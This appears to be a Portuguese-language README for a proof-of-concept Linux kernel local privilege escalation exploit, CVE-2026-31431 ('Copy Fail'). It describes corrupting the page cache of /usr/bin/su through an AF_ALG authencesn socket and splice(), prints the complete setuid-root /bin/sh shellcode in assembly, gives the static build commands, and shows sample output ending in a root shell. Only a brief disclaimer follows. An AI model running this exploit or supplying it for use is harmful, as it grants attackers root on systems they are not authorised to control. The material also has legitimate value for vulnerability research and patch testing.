
CVE-2026-31431 (Copy Fail) PoC - Corrupção do page cache do kernel Linux via authencesn AF_ALG + splice()
Exploit de escalonamento de privilégios local para CVE-2026-31431 (Copy Fail), escrito em C.
/usr/bin/su para um offset de arquivo via cabeçalhos de programa PT_LOADauthencesn(hmac(sha256),cbc(aes)) com uma chave zerosendmsg() envia AAD com os bytes do shellcode como seqno_lo (bytes 4-7), com MSG_MOREsplice() entrega 32 bytes das páginas do page cache do arquivo alvo como a tag de autenticação AEADrecv() aciona a descriptografia; a escrita temporária do authencesn cai nas páginas encadeadas do page cache, gravando 4 bytes controlados.execl("/usr/bin/su") carrega o page cache corrompido. O shellcode de 40 bytes (setuid(0) + execve("/bin/sh")) é executado como setuid-rootxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; terminador nulo
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
Requer musl-gcc ou qualquer compilador C com suporte a linkagem estática:
musl-gcc -static -O2 -s -o copyfail exploit.c
Alternativamente, com GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
Esta prova de conceito é fornecida apenas para pesquisa de segurança autorizada e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal.